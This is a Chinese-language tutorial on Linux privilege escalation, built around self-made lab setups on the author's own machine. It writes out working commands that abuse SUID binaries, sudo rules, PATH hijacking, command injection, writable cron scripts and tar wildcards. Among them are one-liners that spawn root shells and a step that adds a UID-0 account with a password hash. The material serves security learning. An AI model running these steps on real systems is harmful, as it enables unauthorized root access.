# Linux提权(持续更新中......)
参考文章:【Web】超级详细的Linux权限提升一站式笔记-CSDN博客
# Linux权限模型
Linux权限模型主要围绕三个组展开:
U:所有者、用户,user
G:用户组,group
O:其他人,other
而每个组又由三个权限位构成:
r:读权限
w:写权限
x:可执行权限
我们可以通过whoami和id查看当前用户和用户所属组以及UID:

这里表明当前用户:kali,用户UID:1000,主用户组:kali,所在组:kali

Linux里权限最高的用户是root,root的UID永远是0
Linux中常见的用户有:
root:超级管理员
kali:普通登录用户
www-data:web服务用户
mysql:MySQL服务用户
postgres:PostgreSQL服务用户
nobody:极低权限用户
# /etc/passwd
用户信息一般存在/etc/passwd里面,可以通过cat命令查看

其每一行格式为:
用户名:密码占位符:UID:GID:描述:用户的主目录:登录shell
- 用户名:用于区分不同用户,同一系统中登录名是唯一的,在很多系统上该字段被限制在8个字符的长度之内
- passwd:用来验证用户的合法性,现在的UNIX/Linux系统中密码不再直接保存在passwd中,通常将passwd文件中的密码字段用一个
x来代替,将/etc/shadow作为真正的密码文件,保存包括个人密码在内的数据,当然,shadow文件只有超级用户才有权限读取。特别的,如果passwd字段中的第一个字符是*,就表示该账号被查封了,系统不允许持有该账号的用户登录 - 用户标志号(UID):是Linux系统中唯一的用户标志,用于区分不同的用户,在系统内部管理进程和文件保护时使用UID字段,在Linux系统中,用户名和UID都可以用来标志用户,只不过对系统来说UID更重要,对用户来说,用户名更方便,在某些特定的目的下,系统中可以存在多个拥有不同登录名而UID相同的用户,事实上,这些使用不同登录名的用户实际上是同一个用户
- 组标志号(GID):当前用户的默认工作组标志,具有相似属性的多个用户被分配到同一个组内,每个组都有自己的组名并且以自己的组标志号相区分。UNIX/Linux中的用户可以同时属于多个组,除了在passwd文件中指定其归属基本组,还可以在
/etc/group文件中明确地指定某个组包含某用户,使该用户属于多个组 - 用户的全名或其他描述:包含有关用户的一些信息,如用户的真实姓名、办公室地址、联系电话等。在Linux中,mail和finger等程序用这些信息来标志系统的用户
- 用户的主目录:定义了个人用户的主目录,当用户登录之后,他的用户将把该目录作为用户的工作目录。在UNIX/Linux系统中,超级用户root的工作目录为
/root,而其他个人用户在/home目录下均有自己独立的工作环境,系统在该目录下位每个用户配置了自己的主目录。个人用户的文件都放置在各自的主目录下。通常,管理员使用用户登录名作为用户主目录的名称。多数shell环境使用~来代表该用户的主目录。 - 登录shell:shell是用户登录系统时运行的程序名称,通常是一个shell程序的全路径名,如
/bin/bash
用户密码哈希一般存在:/etc/shadow中,通过ls -l /etc/shadow可以查看权限

表示文件属于root,文件组是shadow,root可以读写,shadow组可以读,其他人没有权限
# 权限位

随便查看一个文件的权限可以看到-rwxrwxr-x
-:文件类型
第一个rwx:文件所有者权限
第二个rxw:所属组权限
r-x:其他人权限(不可写)
在文件类型中:-表示普通文件;d表示目录;|表示软链接;c表示字符设备;b表示块设备
Linux中也常用数字表示权限:r为4;w为2;x为1,所以chmod 777 ex1就是表示将ex1文件的权限修改为-rwxrwxrwx,chmod 755 ex1表示权限修改为-rwxr-xr-x
常见权限有:777,755,644,600,700
但是目录权限和文件权限不完全一样,对目录来说,r表示能列出目录内容,w表示能在目录中创建、删除、重命名文件,x表示能进入目录,访问目录里的文件
另外我们了解chown和chgrp命令:
chown:修改文件所有者,chown 用户 文件
chgrp:修改文件所属组,chgrp 用户 文件
实现同时修改文件用户和组:
sudo chown root:root ex1
# 用户组
有些时候不是root用户,但属于某些特殊组,也可能拥有很高权限
查看当前用户所属组的命令是id
常见危险用户组:
sudo:可能可以使用sudo提权
docker:可以挂载主机文件系统
lxd:可以通过容器挂载根目录提权
disk:可能直接读取磁盘
adm:可以读取大量日志
shadow:可能读取/etc/passwd
root:高危
staff:某些系统中有额外写权限
sudo权限:以其他用户身份执行命令,通常是root
查看当前用户能执行什么sudo命令:sudo -l

可以看到:
User kali may run the following commands:
(ALL : ALL) ALL
说明这个用户可以执行任意root命令,如果配置错误,比如:
(root) NOPASSWD: /usr/bin/vim
表示当前用户可以免密码以root身份运行vim
# SUID、SGID、Sticky Bit
普通权限是rwx,但Linux还有特殊权限,其中最重要的是SUID,如果一个程序拥有SUID权限,那么谁执行它,它都会以文件所有者的身份运行。如果文件所有者是root,那么普通用户执行它时,也会短暂拥有root权限
比如ls -l /usr/bin/passwd

这里不再是rwx而是rws,里面的s表示的就是SUID
普通用户在执行修改密码的命令时,程序需要修改/etc/passwd文件,但是这个文件只有root可写,所以给这个程序设置SUID权限,让普通用户执行passwd时,临时拥有root权限
在上述参考文章中也提到了s权限位:每当一个可执行文件的U类别的权限位出现s,那么这个可执行文件变成做setuid二进制文件。每当一个setuid二进制文件运行时,其相应的进程的EUID便被设置为二进制文件的UID,针对passwd而言,进程的EUID被设置为0,也即使进程具备根权限。故其可以使普通用户更改相应的密码。并且可以通过chown和chmod更改文件的的权限位并设置权限位为s。
注意:只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没有意义;命令执行者要对该程序文件拥有执行权限(x);命令执行者在执行该程序时获得该程序文件属主的身份;SUID权限只在该程序执行过程中有效
SGID特殊权限与SUID类似,只不过其代表执行时继承文件所属组身份,权限位表现为-rwxr-sr-x
Sticky Bit特殊权限常见于/tmp

最后的t就是Sticky Bit,他的作用是让所有人可以在/tmp里面创建文件,但是只能删除自己的文件而不能随便删除别人的文件
SUID、SGID、Sticky Bit的数字表示分别为4、2、1
chmod 4755 ex1表示给ex1文件设置SUID权限
chmod 2755 dir1表示给dir1文件设置SGID权限
chmod 1777 /tmp表示给/tmp公共可写目录设置Sticky Bit
# 进程权限
查看进程:ps aux

如果我们看到的是:
root 1234 0.0 nginx: master process
www-data 1235 0.0 nginx: worker process
说明nginx主进程是root,工作进程是www-data
在Linux中有两个身份:Real UID和Effective UID
Real UID:真实用户ID,表示谁启动了这个程序
Effective UID:有效用户ID,也就是程序实际用谁的权限运行
Linux在判断权限时主要查看euid,也就是Effective UID
# SUID提权
接下来我们正式进入Linux提权,首先学习SUID提权:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
设置SUID:
# 设置SUID位
chmod u+s filename
# 去掉SUID设置
chmod u-s filename
如果某一个程序的权限是:
-rwsr-xr-x 1 root root /usr/local/bin/backup
那么说明这个程序backup属于root,并且有SUID
如果这个程序内部存在危险代码比如:
system("sh");
那么普通用户执行它时这些命令就可以以root权限运行
常见的可以用来提权的命令:
nmap
vim
find
bash
more
less
nano
cp
awk
mv
查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
# 本地靶场搭建
在我们的虚拟机中执行以下命令:
# 安装相关工具
sudo apt update
sudo apt install -y gcc make strace ltrace
# 创建低权限用户,用suiduser模拟
sudo useradd -m -s /bin/bash suiduser
echo 'suiduser:123456' | sudo chpasswd
# 切换为低权限用户,密码为123456
su - suiduser
退出低权限用户是exit
用带有sudo权限的用户执行:
sudo cp /bin/bash /usr/local/bin/rootbash
sudo chown root:root /usr/local/bin/rootbash
sudo chmod 4755 /usr/local/bin/rootbash

这样我们就创建了一个带有SUID权限的/usr/local/bin/rootbash
# bash提权
bash命令是用来打开一个shell,同时它具有执行命令的能力,因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行
这里我们搭建了带有SUID权限的/usr/local/bin/rootbash模拟搜索带有SUID权限文件搜索到/bin/bash的情况,回到低权限用户之后我们尝试执行:
# -p表示preserve privileges保留权限
/usr/local/bin/rootbash -p

可以看到我们的euid变成了root进程,接下来我们就可以查看低权限用户不可查看的/etc/shadow文件了
正常情况下的提权需要我们用之前提到过的搜索带有SUID权限的文件,然后对搜索到的文件进行分析,重点查案这些字符串里面是否存在:
/bin/sh
bash
sh
cat
cp
tar
find
python
perl
chmod
chown
system
backup
# find提权
find比较常用,find用来在系统中查找文件,同时它也有执行命令的能力,因此如果配置为SUID权限运行则可以通过find执行的命令都将以root身份运行
仿照配置带有SUID的bash文件,我们执行:
sudo cp /bin/find /usr/local/bin/rootfind
sudo chown root:root /usr/local/bin/rootfind
sudo chmod 4755 /usr/local/bin/rootfind

接下来我们回到低权限用户尝试利用这个带有SUID的文件
# anyfile文件必须存在
touch anyfile
/usr/local/bin/rootfind anyfile -exec whoami \;
/usr/local/bin/rootfind . -exec /bin/sh -p \; -quit

# vim提权
利用vim提权的思路是修改/etc/passwd和/etc/shadow文件为自己添加一个拥有root权限的用户
sudo cp /bin/vim /usr/local/bin/supevim
sudo chown root:root /usr/local/bin/supevim
sudo chmod 4755 /usr/local/bin/supevim

1.利用vim添加账号:
/usr/local/bin/supevim /etc/passwd 添加特权用户
添加:ZLARYY:x:0:0::/home/root:/bin/bash
/usr/local/bin/supevim /etc/shadow 添加特权用户
ZLARYY:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456


2.利用vim打开交互shell:
/usr/local/bin/supevim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
很多vim不一定支持python,使用这条命令查看:
/usr/local/bin/supevim --version | grep python

看到+python或+python2说明支持python,可以用上面的命令打开交互shell
这里是+python3所以命令需要修改为:
/usr/local/bin/supevim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
或者
/usr/local/bin/supevim -c ':py3 import os; os.setuid(0); os.setgid(0); os.execl("/bin/bash", "bash", "-p")'

# python提权
如果某个python解释器具有SUID root权限,那么普通用户执行它时,python进程的euid会变成root
同样执行下面三条命令进行模拟:
sudo cp /bin/python3 /usr/local/bin/rootpython3
sudo chown root:root /usr/local/bin/rootpython3
sudo chmod 4755 /usr/local/bin/rootpython3

那么我们可以执行:
/usr/local/bin/rootpython3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# PATH路径劫持
漏洞存在于:SUID root程序调用外部命令时,没有写绝对路径,例如程序里写了:
system("backup");
而不是:
system("/usr/local/bin/backup");
那么我们就可以伪造一个叫做backup的文件,让SUID程序以root权限执行它
搭建带有漏洞的SUID程序文件(这里我用的是本地的wsl开启Linux,感觉方便一些,用VM也可以,记住文件地址就好)
将以下C代码命名为backup_suid.c
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("backup");
return 0;
}
编译并设置SUID:
gcc backup_suid.c -o backup_suid
sudo mv backup_suid /usr/local/bin/backup_suid
sudo chown root:root /usr/local/bin/backup_suid
sudo chmod 4755 /usr/local/bin/backup_suid

接下来我们以低权限suiduser登录,在/tmp/suid_test目录下创建一个假的backup:
cat > backup << 'EOF'
#!/bin/bash
/bin/bash -p
EOF
这里不直接在/mnt/e目录下添加权限是因为会表现为:
chmod: changing permissions of 'backup': Operation not permitted
然后赋予其执行权限:
chmod +x backup

接下来我们需要修改PATH:
export PATH=/tmp/suid_test:$PATH

之后我们只需要执行/usr/local/bin/baskup_suid就可以实现提权了:

那么为什么修改PATH就可以实现将backup_suid文件里面的backup文件路径转移到/tmp/suid_test呢?
修改PATH的目的是让SUID程序在执行某个命令时,优先执行我们伪造的同名命令
比如,我们在执行ls的时候,其实没有写完整路径/bin/ls,那么系统就会从PATH环境变量里面按顺序寻找,假设echo $PATH输出结果为:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
例如执行ls,那么系统会按顺序寻找:
/usr/local/sbin/ls
/usr/local/bin/ls
/usr/sbin/ls
/usr/bin/ls
/sbin//ls
/bin/ls
找到第一个能执行的就运行它
由于我们的backup_suid文件里面的不是完整路径,所以系统会通过PATH寻找backup,如果我们通过命令将当前伪造的backup置于PATH的最前面,那么系统在寻找backup时会先找/tmp/suid_test/backup,那么实际上也就是执行了:
system("/bin/bash -p");
学习一下PATH环境变量吧:
PATH:shell从中查找命令的目录列表,PATH变量包含带:分界符的字符串,这些字符串指向含有用户所使用命令的目录,用户可以设置它,例如主目录下有一个bin目录,用于存放自己编写的所有可执行程序,要把这个目录加到PATH变量中可以执行:
PATH=$PATH:$HOME/bin
即在当前的命令查找路径下增加一个目录$HOME/bin,如果使用bash,那么可以把它加到.bash_profile文件中,这样他会在每次注册时起作用,在一般情况下,PATH变量中往往有一个目录/usr/local/bin,这个目录中的命令并不是Linux标准命令,而是由系统管理员添加和维护的、供所有用户使用的命令。如果PATH变量中不存在这个目录,用户可以自己把他加进去。
PATH值中的字符串的顺序决定了先从哪个目录查找,假如用户自己编写了一个ls命令,放在自己主目录的bin下,用户的PATH变量为$HOME/bin:/bin:/usr/bin,则意味着,用户输入一个ls命令,Linux会首先使用用户主目录下的bin目录中用户自己写的ls命令,若找不到才会使用/bin或者/usr/bin下的ls命令
# 命令注入提权
这一场景属于SUID程序接受用户输入然后拼接到系统命令中执行
搭建靶场:
创建一个只有root能读的文件:
echo 'ZLARYY{10cal_5uid_connm@nd_inJecti0n_te5t}' | sudo tee /root/suid_flag.txt
sudo chmod 600 /root/suid_flag.txt
编写一个带有漏洞的C程序:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char cmd[512];
if (argc < 2) {
printf("Usage: %s <filename>\n", argv[0]);
return 1;
}
setuid(0);
setgid(0);
snprintf(cmd, sizeof(cmd), "cat /var/backups/%s", argv[1]);
system(cmd);
return 0;
}
这个文件本来是用作读取/var/backups/目录下的某个文件,但是:
snprintf(cmd, sizeof(cmd), "cat /var/backups/%s", argv[1]);
system(cmd);
这一行允许它把用户输入直接拼接进入命令,再交给system()执行
编译并设置SUID:
gcc read_backup.c -o read_backup
sudo mv read_backup /usr/local/bin/read_backup
sudo chown root:root /usr/local/bin/read_backup
sudo chmod 4755 /usr/local/bin/read_backup

为了模拟正常代码查询/var/backups逻辑,我们在其目录下创建一个文件:
echo 'ZLARYY{thi5_1s_a_fake_fl@g!}' | sudo tee /var/backups/test.txt
接下来我们登录低权限用户完成命令执行注入:
# 正常查询
/usr/local/bin/read_backup test.txt
# 命令注入whoami
/usr/local/bin/read_backup 'test.txt;whoami;id;cat /root/suid_flag.txt'

那么可操作范围就很大了,还可以直接弹shell:
/usr/local/bin/read_backup 'test.txt; /bin/bash -p'

# SUDO提权
sudo是Linux系统管理指令,是允许系统管理员让普通用户执行一些或全部的root命令的一个工具,如reboot、su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性,sudo不是对shell的一个替代,它是面向每个命令,在一些应用场景里面,为了方便运维人员以低权限账号进行运维,往往会开启账号的一些SUDO权限给运维账号,而SUDO权限的授予在/etc/sudoers中进行操作,具体格式:
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
sudo:superuser do,也就是以超级用户或其他用户身份执行命令
# 普通用户执行
whoami
suiduser
# 加上sudo指令
sudo whoami
root

/etc/sudoers:规定了哪个用户可以用sudo、可以以谁的身份执行命令、可以执行哪些命令、需不需要输入密码,比如有这么一段:
testuser ALL=(root) NOPASSWD: /usr/bin/vim
意思是:testuser用户可以在任何主机上以root身份免密码执行/usr/bin/vim
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
cseroad表示用户名
第一个ALL指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
那么这个vim就是root权限,如果vim可以执行shell命令,那么就可以进一步有得到root shell
sudo -l这个命令可以列出当前用户可以通过sudo执行哪些命令

如果sudo配置文件配置了ALL或者以下的命令就可以进行提权:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen
提权命令如下:
一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh
# 本地靶场测试(vim)
我们直接沿用上一个靶场里面的suiduser用户
需要配置一个sudo规则:
echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/vim' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab

接下来我们切换到低权限用户:
su - suiduser
# 提权流程
执行:sudo -l

那么我们可以免密码以root身份执行vim命令了
sudo /usr/bin/vim
执行完这个语句我们在vim里面输入
:!/bin/bash


# 本地靶场测试(find)
以root身份添加配置规则:
echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/find' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab
然后进入到suiduser
# 提权流程
执行sudo -l:

接着我们可以执行:
sudo /usr/bin/find . -exec /bin/bash \; -quit

# 本地靶场搭建(python3)
回到root用户先执行:
which python3
一般是/usr/bin/python3,那么我们执行:
echo 'suiduser ALL=(root) NOPASSWD: /usr/bin/python3' | sudo tee /etc/sudoers.d/sudo-lab
sudo chmod 440 /etc/sudoers.d/sudo-lab
sudo visudo -cf /etc/sudoers.d/sudo-lab
# 提权流程
切换至低权限用户依旧先用sudo -l查看是否显示:
User suiduser may run the following commands on LAPTOP-6C4POS0O:
(root) NOPASSWD: /usr/bin/python3
然后我们可以尝试:
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
或
sudo /usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash")'

# 计划任务提权
计划任务提权(又称Cron提权):系统中有些定时任务会以root身份自动执行,如果普通用户能修改这个定时任务执行的脚本、命令、路径或环境,就可以让root定时帮我们执行命令,从而提权
Linux计划任务命令如下:
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
计划任务的文件夹在/etc/cron*下:
# 查看系统级计划任务
/etc/crontab

如果存在如下:
* * * * * root /opt/backup.sh
表示每分钟以root身份执行/opt/backup.sh,前五个*分别表示分钟、小时、日期、月份、星期
即:
* * * * * 每分钟执行
0 * * * * 每小时第 0 分钟执行
0 3 * * * 每天凌晨 3 点执行
*/5 * * * * 每 5 分钟执行
查看cron目录:
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
这些目录里的脚本也可能被系统定时执行
查找带有SUID或777权限文件命令:
# 查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
# 查找777文件
find / -perm 777 -print 2>/dev/null
# 本地靶场搭建
依旧沿用之前的低权限用户suiduser
在root权限下执行:
sudo mkdir -p /opt/cron-lab
创建一个备份脚本:
cat << 'EOF' | sudo tee /opt/cron-lab/backup.sh
#!/bin/bash
echo "backup running at $(date)" >> /tmp/cron-lab.log
EOF
给他设置可执行权限并且所有人可写:
sudo chmod 777 /opt/cron-lab/backup.sh
配置root计划任务
cat << 'EOF' | sudo tee /etc/cron.d/cron-lab
* * * * * root /opt/cron-lab/backup.sh
EOF
设置权限:
sudo chmod 644 /etc/cron.d/cron-lab
查看计划任务:(应该看到* * * * * root /opt/cron-lab/backup.sh)
cat /etc/cron.d/cron-lab

意思是每分钟以root身份执行/opt/cron-lab/backup.sh
# 提权流程
我们以低权限用户执行ls -l /opt/cron-lab/backup.sh:

发现可写之后我们写入提权命令:
cat > /opt/cron-lab/backup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
cp /bin/bash /tmp/rootbash表示复制一个bash到/tmp/rootbash
chmod 4755 /tmp/rootbash给这个bash设置SUID权限
由于这个脚本会被root的cron执行,所以/tmp/rootbash会变成:
-rwsr-xr-x 1 root root /tmp/rootbash
等待一分钟我们执行ls -l /tmp/rootbash

发现其已具备SUID权限,所以我们可以直接利用SUID的bash提权:
/tmp/rootbash -p

# 利用通配符进行提权
通配符提权通常和计划任务提权搭配出现
* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
假设有这么一条命令:
tar -czf /tmp/backup.tar.gz *
他的意思是把当前目录下的所有文件打包,但是在Linux shell中,*会首先被shell展开成当前目录下的为文件名,假设目录下有这些文件:
a.txt
b.txt
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
那么上述命令实际上会变成类似:
tar -czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh a.txt b.txt
然而
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
这两个文件会被tar当作参数而不是普通文件名
其中--checkpoint-action=exec=sh shell.sh会让tar执行sh shell.sh,如果这个tar是由root的计划任务执行的,那么shell.sh也会以root执行
其需要满足:
1. 有 root 或高权限用户执行的脚本
2. 脚本中使用了通配符 *
3. 通配符作用的目录普通用户可写
4. 使用的命令会把特殊文件名当作参数
5. 普通用户能创建特殊文件名
# 本地靶场搭建
沿用suiduser低权限用户
首先我们创建一个普通用户可写的目录:
sudo mkdir -p /opt/wildcard-lab/input
sudo chmod 777 /opt/wildcard-lab/input
ls -ld /opt/wildcard-lab/input

这样root脚本会用*代替这个目录的所有文件,而普通用户可以往这个目录里写文件
创建root备份脚本
cat << 'EOF' | sudo tee /opt/wildcard-lab/backup.sh
#!/bin/bash
cd /opt/wildcard-lab/input
tar -czf /tmp/wildcard-backup.tar.gz *
EOF
sudo chmod 755 /opt/wildcard-lab/backup.sh
ls -l /opt/wildcard-lab/backup.sh

这个执行脚本与之前提到的777不同之处在于,在通配符提权中我们不需要对执行脚本做修改
接下来我们配置计划任务:
cat << 'EOF' | sudo tee /etc/cron.d/wildcard-lab
* * * * * root /opt/wildcard-lab/backup.sh
EOF
sudo chmod 644 /etc/cron.d/wildcard-lab
cat /etc/cron.d/wildcard-lab

# 提权流程
接下来我们以suiduser身份去实现提权
真实渗透场景我们还是需要先查看计划任务文件:
cat /etc/cron.d/wildcard-lab
或其他的类似于
cat /etc/cron*
我们进入可写目录/opt/wildcard-lab/input创建一个被root执行的脚本shell.sh并赋予其执行权限:
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x shell.sh
依然是复制/bin/bash到/tmp/rootbash,然后给复制后的文件设置SUID权限

防止之前的复制文件对本次实验结果产生干扰我们先删除/tmp/rootbash
接下来我们需要创建特殊文件名,使得计划任务在执行脚本的时候将特殊文件名当作参数:
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
这里的--表示后面的内容都当做文件名而不是参数
ls -la可以看到:

等待一分钟之后我们尝试执行ls -l /tmp/rootbash

接下来我们就可以执行/tmp/rootbash -p实现提权了

